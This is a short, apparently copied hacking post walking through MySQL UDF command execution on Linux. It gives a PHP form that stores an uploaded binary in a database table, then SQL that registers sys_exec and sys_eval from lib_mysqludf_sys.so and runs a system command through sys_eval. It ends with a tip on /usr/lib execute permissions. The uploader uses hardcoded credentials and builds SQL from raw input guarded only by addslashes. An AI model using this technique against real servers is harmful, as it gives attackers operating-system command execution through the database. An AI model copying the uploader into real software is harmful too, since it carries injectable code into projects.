For Linux Mysql Udf

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http://hi.baidu.com/lucidc/blog/item/df103728ee6142f299250ad5.html

First:

.........

CREATE TABLE tbl_upload (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
);....

then...............

<?php

if(isset($_POST['upload_file']) && $_FILES['file_name']['size'] > 0)
{
$originalName = $_FILES['file_name']['name'];
$tmpName = $_FILES['file_name']['tmp_name'];
$fileSize = $_FILES['file_name']['size'];
$fileType = $_FILES['file_name']['type'];

$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);

if(!get_magic_quotes_gpc())
{
$originalName = addslashes($originalName);
}

$dbhostname = 'ip';
$dbusername = 'test';
$dbpassword = 'test';
$connection = mysql_connect($dbhostname, $dbusername, $dbpassword);

mysql_select_db("testing");

$query = "INSERT INTO tbl_upload (name, size, type, content ) VALUES ('$originalName', '$fileSize', '$fileType', '$content')";

mysql_query($query) or die('Error, query failed');

mysql_close($connection);

echo "File $originalName uploaded";
}
?>

</form>

</BODY>
</HTML>

..................................

THAT is all

------------------------------all-------------------

CREATE TABLE tbl_Files (id_files tinyint(3) unsigned NOT NULL auto_increment,bin_data longblob NOT NULL,description

tinytext NOT NULL,filename varchar(50) NOT NULL,filesize varchar(50) NOT NULL,filetype varchar(50) NOT NULL,PRIMARY KEY

(id_files));

create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';

create function sys_get returns string soname 'lib_mysqludf_sys.so';

create function sys_set returns int soname 'lib_mysqludf_sys.so';

create function sys_exec returns int soname 'lib_mysqludf_sys.so';

create function sys_eval returns string soname 'lib_mysqludf_sys.so';

select sys_eval('ifconfig');

pay attention to you /usr/lib must has x priv :D

....like this...

http://av.vimeo.com/38971/327/19728278.mp4?token=1273290424_630f1da5c67382efee452a5eea75e1c6